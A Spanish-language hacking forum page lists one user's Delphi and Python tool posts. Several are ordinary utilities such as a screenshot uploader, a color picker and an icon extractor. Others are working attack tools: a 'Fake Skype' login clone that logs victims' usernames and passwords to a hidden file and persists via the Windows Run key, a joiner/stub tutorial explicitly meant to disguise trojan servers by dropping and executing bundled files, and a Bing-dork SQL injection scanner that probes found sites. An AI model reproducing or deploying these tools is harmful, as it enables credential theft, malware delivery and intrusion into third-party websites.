Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#261
Delphi / [Delphi] DH ScreenShoter 0.1
Septiembre 06, 2013, 01:58:27 PM
Un simple programa para sacar un screenshot y subir la imagen a imageshack.

Una imagen :



El codigo :

Código: delphi

// DH Screenshoter 0.1
// Coded By Doddy H
// Credits
// Based on : http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sGroupBox, ComCtrls, sStatusBar, sLabel,
  sCheckBox, sEdit, sButton, acPNG, ExtCtrls, Jpeg, ShellApi,
  IdMultipartFormData,
  PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sStatusBar1: TsStatusBar;
    sCheckBox1: TsCheckBox;
    sEdit1: TsEdit;
    sCheckBox2: TsCheckBox;
    sEdit2: TsEdit;
    sLabel1: TsLabel;
    sCheckBox3: TsCheckBox;
    sGroupBox2: TsGroupBox;
    sEdit3: TsEdit;
    sGroupBox3: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    sCheckBox4: TsCheckBox;
    Image1: TImage;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure capturar(nombre: string);
var
  imagen2: TJpegImage;
  imagen1: TBitmap;
  aca: HDC;

begin

  aca := GetWindowDC(GetDesktopWindow);

  imagen1 := TBitmap.Create;
  imagen1.PixelFormat := pf24bit;
  imagen1.Height := Screen.Height;
  imagen1.Width := Screen.Width;

  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
    SRCCOPY);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cold';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/captures';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  fecha: TDateTime;
  fechafinal: string;
  nombrefecha: string;
  i: integer;
  datos: TIdMultiPartFormDataStream;
  code: string;

begin

  fecha := now();
  fechafinal := DateTimeToStr(fecha);
  nombrefecha := fechafinal + '.jpg';

  nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll,
    rfIgnoreCase]);
  nombrefecha := StringReplace
    (nombrefecha, ' ', '', [rfReplaceAll, rfIgnoreCase]);
  nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll,
    rfIgnoreCase]);

  if (sCheckBox2.Checked) then
  begin
    for i := 1 to StrToInt(sEdit2.text) do
    begin
      sStatusBar1.Panels[0].text := '[+] Taking picture on  : ' + IntToStr(i)
        + ' seconds ';
      Form1.sStatusBar1.Update;
      Sleep(i * 1000);
    end;
  end;

  Form1.Hide;

  Sleep(1000);

  if (sCheckBox1.Checked) then
  begin
    capturar(sEdit1.text);
  end
  else
  begin
    capturar(nombrefecha);
  end;

  Form1.Show;

  sStatusBar1.Panels[0].text := '[+] Photo taken';
  Form1.sStatusBar1.Update;

  if (sCheckBox3.Checked) then
  begin

    sStatusBar1.Panels[0].text := '[+] Uploading ...';
    Form1.sStatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', 'Fuck You');

    if (sCheckBox1.Checked) then
    begin
      datos.AddFile('fileupload', sEdit1.text, 'application/octet-stream');
    end
    else
    begin
      datos.AddFile('fileupload', nombrefecha, 'application/octet-stream');
    end;
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    PerlRegEx1.Regex := '"image_link":"(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sEdit3.text := PerlRegEx1.SubExpressions[1];
      sStatusBar1.Panels[0].text := '[+] Done';
      Form1.sStatusBar1.Update;
    end
    else
    begin
      sStatusBar1.Panels[0].text := '[-] Error uploading';
      Form1.sStatusBar1.Update;
    end;
  end;

  if (sCheckBox4.Checked) then
  begin
    if (sCheckBox1.Checked) then
    begin
      ShellExecute(Handle, 'open', Pchar(sEdit1.text), nil, nil, SW_SHOWNORMAL);
    end
    else
    begin
      ShellExecute(Handle, 'open', Pchar(nombrefecha), nil, nil, SW_SHOWNORMAL);
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  sEdit3.SelectAll;
  sEdit3.CopyToClipboard;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?



Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#262
Python / [Python-Android] BingHack Tool 0.1
Septiembre 01, 2013, 04:19:36 PM
Un simple script en Python para Android con el fin de buscar paginas vulnerables a SQLI usando Bing.


El codigo :

Código: python

#!usr/bin/python
#BingHack Tool 0.1
#Android Version
#(C) Doddy Hackman 2013

import android,urllib2,re

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def sql(webs):
respuesta = ""
for web in webs :
  if re.findall("=",web):
   web = re.split("=",web)
   web = web[0]+"="

   try:
    code = toma(web+"-1+union+select+1--")
    if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
     respuesta = respuesta + "[SQLI] : "+web+"\n"
   except:
    pass
return respuesta

def limpiar(pag):

limpia = []
for p in pag:
  if p not in limpia:
   limpia.append(p)
return limpia

def buscar(dork,count):

respuesta = ""

pag = []
s = 10 

while s <= int(count):
  try:
   code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
   d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
   s += 10
   for a in d:
    pag.append(a)
  except:
   pass

pag = limpiar(pag)

return pag
 
aplicacion = android.Android()

def menu():

aplicacion.dialogCreateAlert("BingHack Tool 0.1")
aplicacion.dialogSetItems(["Search","About","Exit"])
aplicacion.dialogShow()
re = aplicacion.dialogGetResponse().result
re2 = re["item"]

if re2==0:
 
  red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the dork")
  dork = str(red[1])

  red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the number of pages to search")
  paginas = str(red[1])

  aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Searching ...")
  aplicacion.dialogShow()

  founds = ""
  rez = ""
  rtafinal = ""

  founds = buscar(dork,paginas)

  aplicacion.dialogDismiss()

  aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Scanning ...")
  aplicacion.dialogShow()

  rez = sql(founds)

  if len(rez) == 0 :
   rtafinal = "[-] Not Found"
  else :
   rtafinal = "[++] Pages Founds\n\n"
   rtafinal = rtafinal + rez
   rtafinal = rtafinal + "\n[++] Finished\n"

  aplicacion.dialogDismiss()

  aplicacion.dialogCreateAlert("BingHack Tool 0.1",rtafinal)
  aplicacion.dialogSetPositiveButtonText("Done")
  aplicacion.dialogShow()
 
  op = aplicacion.dialogGetResponse().result
  if op["which"] == "positive" :
   menu()

if re2==1 :
  aplicacion.dialogCreateAlert("BingHack Tool 0.1","(C) Doddy Hackman 2013")
  aplicacion.dialogSetPositiveButtonText("Done")
  aplicacion.dialogShow()
  re3 = aplicacion.dialogGetResponse().result
  if re3["which"] == "positive" :
   menu()
 
  if re3==2:
   aplicacion.exit()

menu()

# The End ?


Eso es todo.
#263
Delphi / [Delphi] DH Icon Changer 0.1
Agosto 30, 2013, 03:31:09 PM
Un simple programa para cambiar el icono de otro programa.

Una imagen :



El codigo :

Código: delphi

// DH Icon Changer 0.1
// Coded By Doddy H
// Based on IconChanger By Chokstyle
// Thanks to Chokstyle

unit icon;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sEdit, sGroupBox, sSkinManager, ComCtrls,
  sStatusBar, ExtCtrls, madRes, jpeg, sCheckBox;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    sStatusBar1: TsStatusBar;
    OpenDialog1: TOpenDialog;
    sGroupBox4: TsGroupBox;
    Image1: TImage;
    sButton5: TsButton;
    OpenDialog2: TOpenDialog;
    Image2: TImage;
    sEdit2: TsEdit;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sButton5Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

    procedure sButton4Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog2.InitialDir := GetCurrentDir;
  OpenDialog2.Filter := 'ICO|*.ico|';

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    sEdit1.Text := OpenDialog1.FileName;
  end;
end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  op: string;
  change: dword;
  valor: string;

begin

  valor := IntToStr(128);

  op := InputBox('Backup', 'Backup ?', 'Yes');

  if op = 'Yes' then
  begin
    CopyFile(PChar(sEdit1.Text), PChar(ExtractFilePath(Application.ExeName)
          + 'backup' + ExtractFileExt(sEdit1.Text)), True);
  end;

  try
    begin
      change := BeginUpdateResourceW(PWideChar(wideString(sEdit1.Text)), false);
      LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0, PWideChar
          (wideString(sEdit2.Text)));
      EndUpdateResourceW(change, false);
      sStatusBar1.Panels[0].Text := '[+] Changed !';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;

    end;
  end;

end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.sButton5Click(Sender: TObject);
begin

  if OpenDialog2.Execute then
  begin
    Image1.Picture.LoadFromFile(OpenDialog2.FileName);
    sEdit2.Text := OpenDialog2.FileName;
  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Credits : Based on IconChanger By Chokstyle' + #13#10 + #13#10 +
      'Contact to lepuke[at]hotmail[com]');
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#264
Delphi / [Delphi] Creacion de un Joiner
Agosto 28, 2013, 08:16:02 PM
[Titulo] : Creacion de un Joiner
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.

¿ Que es un Joiner ?

Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.

¿ Que es un stub ?

El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.

0x02 : Creacion del generador

Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez creado , creamos dos cajas edit y un boton como en la imagen :



Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.

Código: delphi

procedure TForm1.Button1Click(Sender: TObject);

var
  archivo1: string; // Declaramos la variable archivo1 como string
  archivo2: string; // Declaramos la variable archivo2 como string
  uno: DWORD; // Declaramos la variable uno como dword
  tam: DWORD; // Declaramos la variable tam como dword
  dos: DWORD; // Declaramos la variable dos como dword
  tres: DWORD; // Declaramos la variable tres como dword
  todo: Pointer; // Declaramos la variable todo como pointer

begin

  uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe

  archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo

  dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo
  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  GetMem(todo, tam); // Capturamos la memoria
  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  CloseHandle(dos); // Cerramos el archivo
  UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL,
      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto

  archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo

  dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  GetMem(todo, tam); // Capturamos la memoria
  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  CloseHandle(dos); // Cerramos el archivo
  UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL,
      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto

  EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso

end;


Una imagen del codigo comentado.



0x03 : Creacion del stub

Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :



Una vez hecho copiamos el siguiente codigo :

Código: delphi

program stub;

uses Windows, ShellApi; // Cargamos los modulos necesarios

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL;
  stdcall; // Empieza la funcion con los parametros
var
  data: DWORD; // Declaramos como DWORD la variable data
  uno: DWORD; // Declaramos como DWORD la variable uno
  dos: DWORD; // Declaramos como DWORD la variable dos

begin

  Result := True; // Retornamos true en la funcion

  data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos

  uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo
  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
    dos, nil); // Escribimos en el archivo creado

  CloseHandle(uno); // Cerramos

  ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL);
  // Ejecutamos el archivo

end;

begin
  EnumResourceNames(0, RT_RCDATA, @start, 0);

  // Funcion para cargar los archivos del joiner
end.



Una imagen del codigo comentado.



0x04 : Probando el Joiner

Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"

Primero cargamos el generador :



Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.



Eso es todo.

El manual esta disponible en PDF You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

--========--
  The End ?
--========--
#265
Delphi / [Delphi] DH GetColor
Agosto 23, 2013, 01:44:46 PM
Un simple programa para buscar el color de un pixel.

Una imagen :



El codigo :

Código: delphi

// DH GetColor 0.1
// Coded By Doddy H
// Credits :
// Based on  : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way
// Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor

unit get;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, sSkinManager, sGroupBox, sEdit, sLabel, ComCtrls,
  sStatusBar, acPNG, sMemo, Clipbrd;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    Shape1: TShape;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sStatusBar1: TsStatusBar;
    sGroupBox2: TsGroupBox;
    Image1: TImage;
    sLabel3: TsLabel;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);

  private
    capturanow: HDC;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cold';
  sSkinManager1.Active := True;

  sLabel3.Caption := 'This program is used to' + #13 +
    'find the color of a pixel' + #13 + #13 + 'Use control + v to copy' + #13 +
    'the color to the clipboard' + #13 + #13 + #13 + 'The End ?';

  capturanow := GetDC(0);
  if (capturanow <> 0) then
    Timer1.Enabled := True;
end;

procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
  if (Shift = [ssCtrl]) and (Key = 86) then
  begin
    Clipboard().AsText := sLabel2.Caption;
    sStatusBar1.Panels[0].Text := '[+] Color copied to clipboard';
    Form1.sStatusBar1.Update;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  aca: TPoint;
  color: TColor;
  re: string;

begin

  if GetCursorPos(aca) then
  begin
    color := GetPixel(capturanow, aca.x, aca.y);
    Shape1.Brush.color := color;
    re := '#' + IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2)
      + IntToHex(GetBValue(color), 2);
    sLabel2.Caption := re;
    sStatusBar1.Panels[0].Text := '[+] Finding colors ...';
    Form1.sStatusBar1.Update;
  end;
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#266
Python / [Python-Android] LocateIP 0.1
Agosto 19, 2013, 03:19:14 PM
El primer script que hice en python para android.

El codigo :

Código: python

# !usr/bin/python
# LocateIP 0.1 (C) Doddy Hackman 2013
# Android Version

import android,urllib2,re,socket
 
aplicacion = android.Android()

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def search(pagina):

respuesta = ""

ip = socket.gethostbyname(str(pagina))
code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip)

respuesta = respuesta + "[++] IP Address Location\n"

if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  city = rex[0][1]
  respuesta = respuesta + "\n[++] City : "+city
else:
  respuesta = respuesta + "\n[++] City : Not Found"

if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  country = rex[0][1]
  respuesta = respuesta + "\n[++] Country : "+country
else:
  respuesta = respuesta + "\n[++] Country : Not Found"
 
if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  state = rex[0][1]
  respuesta = respuesta + "\n[++] State : "+state
else:
  respuesta = respuesta + "\n[++] State : Not Found"


code = toma("http://www.ip-adress.com/reverse_ip/"+ip)

if (re.findall("whois\/(.*?)\">Whois",code)):
  rex = re.findall("whois\/(.*?)\">Whois",code)
  respuesta = respuesta + "\n\n[++] DNS Founds\n"
  for dns in rex:
   respuesta = respuesta + "\n[+] "+dns

return respuesta

def menu():

aplicacion.dialogCreateAlert("LocateIP 0.1")
aplicacion.dialogSetItems(["Search","About","Exit"])
aplicacion.dialogShow()
re = aplicacion.dialogGetResponse().result

re2 = re["item"]

if re2==0:
 
  red = aplicacion.dialogGetInput("LocateIP 0.1","Target")
  ref = str(red[1])

  aplicacion.dialogCreateSpinnerProgress("LocateIP 0.1","Searching ...")
  aplicacion.dialogShow()

  don = search(ref)

  aplicacion.dialogDismiss()

  aplicacion.dialogCreateAlert("LocateIP 0.1",don)
  aplicacion.dialogSetPositiveButtonText("Done")
  aplicacion.dialogShow()
 
  op = aplicacion.dialogGetResponse().result

  if op["which"] == "positive" :

   menu()

if re2==1 :

  aplicacion.dialogCreateAlert("LocateIP 0.1","(C) Doddy Hackman 2013")
  aplicacion.dialogSetPositiveButtonText("Done")
  aplicacion.dialogShow()
  re3 = aplicacion.dialogGetResponse().result

  if re3["which"] == "positive" :

   menu()
 
  if re3==2:

   aplicacion.exit()

menu()

# The End ?



Eso es todo.
#267
Delphi / [Delphi] Fake Skype 0.1
Agosto 16, 2013, 01:40:21 PM
Un simple Fake de Skype , en la proxima version voy a tratar de darle mas realismo xDD.

Una imagen :



El codigo :

Código: delphi

// Fake Skype 0.1
// Coded By Doddy H

unit fake;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    Image2: TImage;
    procedure Image2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Edit2Click(Sender: TObject);
    procedure Edit1Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Edit1Click(Sender: TObject);
begin
  Edit1.Text := '';
end;

procedure TForm1.Edit2Click(Sender: TObject);
begin
  Edit2.Text := '';
end;

procedure TForm1.FormCreate(Sender: TObject);

var
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;

begin

  nombrereal := ExtractFileName(ParamStr(0));
  rutareal := ParamStr(0);
  yalisto := 'C:\WINDOWS\' + nombrereal;

  MoveFile(Pchar(rutareal), Pchar(yalisto));

  her := TRegistry.Create;
  her.RootKey := HKEY_LOCAL_MACHINE;

  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  her.WriteString('uber', yalisto);
  her.Free;

  SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);

end;

procedure TForm1.Image2Click(Sender: TObject);
var
  archivo: TextFile;
  ruta: string;

begin

  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  begin
    WinExec('notepad c:/windows/datos.txt', SW_SHOW);
  end
  else
  begin

    if Edit1.Text = '' then
    begin
      ShowMessage(
        'Escribe tu Id. de Skype en este formato: tu [email protected]');
    end;
    if Edit2.Text = '' then
    begin
      ShowMessage('Escribe tu contraseña');
    end
    else
    begin
      if Edit2.Text = 'Escribe aqui tu contraseña' then
      begin
        ShowMessage('Escribe tu contraseña');
      end
      else
      begin
        ruta := 'c:/windows/datos.txt'; // mod
        if FileExists(ruta) then
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          Append(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
              Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox(
            'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
            MB_OK);
          Form1.Close;
        end
        else
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          ReWrite(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
              Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox(
            'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
            MB_OK);
          Form1.Close;
        end;
      end;
    end;
  end;

end;

end.

// The End ?


Si quieren bajarlo lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#268
Off Topic / Re:Feliz cumpleaños CrazyKade!
Agosto 15, 2013, 05:47:45 PM
feliz cumpleaños , cuanto cumplis ? , 30 ? xDD.
#269
Delphi / [Delphi] Sex Icons 0.1
Agosto 09, 2013, 12:59:12 PM
Un simple programa para buscar y extraer iconos.

Una imagen :



El codigo :

Código: delphi

// Sex Icons 0.1
// Coded By Doddy H

unit sex;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, ComCtrls, StdCtrls, ShellAPI, ImgList;

type
  TForm1 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    Edit1: TEdit;
    ListView1: TListView;
    Button1: TButton;
    GroupBox2: TGroupBox;
    Button2: TButton;
    ImageList1: TImageList;
    GroupBox3: TGroupBox;
    Image2: TImage;

    Image3: TImage;
    SaveDialog1: TSaveDialog;
    procedure Button1Click(Sender: TObject);
    procedure ListView1DblClick(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  buscar: TSearchRec;
  Icon: TIcon;
  listate: TListItem;
  getdata: SHFILEINFO;
  dirnow: string;

begin

  dirnow := Edit1.Text;

  ListView1.Items.Clear;
  Icon := TIcon.Create;
  ListView1.Items.BeginUpdate;

  if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
  begin
    repeat
      if (buscar.Attr <> faDirectory) then
      begin

        with ListView1 do
        begin

          listate := ListView1.Items.Add;

          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
              , SHGFI_DISPLAYNAME);
          listate.Caption := buscar.Name;

          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
              , SHGFI_TYPENAME);
          listate.SubItems.Add(getdata.szTypeName);

          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
              , SHGFI_ICON or SHGFI_SMALLICON);
          Icon.Handle := getdata.hIcon;
          listate.ImageIndex := ImageList1.AddIcon(Icon);

          DestroyIcon(getdata.hIcon);

        end;

      end

      until FindNext(buscar) <> 0;
      FindClose(buscar);
    end;

    ListView1.Items.EndUpdate;

  end;

  procedure TForm1.Button2Click(Sender: TObject);
  begin

    if SaveDialog1.Execute then
    begin
      Image2.Picture.Icon.SaveToFile(SaveDialog1.FileName);
      ShowMessage('Icon Extracted');
    end;

  end;

  procedure TForm1.FormCreate(Sender: TObject);
  begin

    SaveDialog1.Title := 'Save your Icon';
    SaveDialog1.InitialDir := GetCurrentDir;
    SaveDialog1.DefaultExt := 'ico';

  end;

  procedure TForm1.ListView1DblClick(Sender: TObject);

  var
    acanow: TIcon;
    archivo: string;
    bajar: TSHFileInfo;

  begin

    archivo := Edit1.Text + ListView1.Selected.Caption;
    if FileExists(archivo) then
    begin
      acanow := TIcon.Create;
      SHGetFileInfo(PChar(archivo), 0, bajar, SizeOf(bajar), SHGFI_ICON);
      acanow.Handle := bajar.hIcon;
      Image2.Picture.Icon := acanow;
      acanow.Free;
    end;
  end;

end.

// The End ?


Si quieren bajarlo lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#270
Delphi / [Delphi] DH Port Scanner 0.2
Agosto 02, 2013, 06:50:13 PM
Un simple Port Scanner en Delphi.

Una imagen :



El codigo :

Código: delphi

// DH Port Scanner 0.2
// Coded By Doddy H

unit port;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sGroupBox, sButton, IdTCPClient, sMemo, jpeg,
  ExtCtrls, ComCtrls, sStatusBar, sEdit, sLabel, IdBaseComponent, IdComponent,
  IdTCPConnection;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
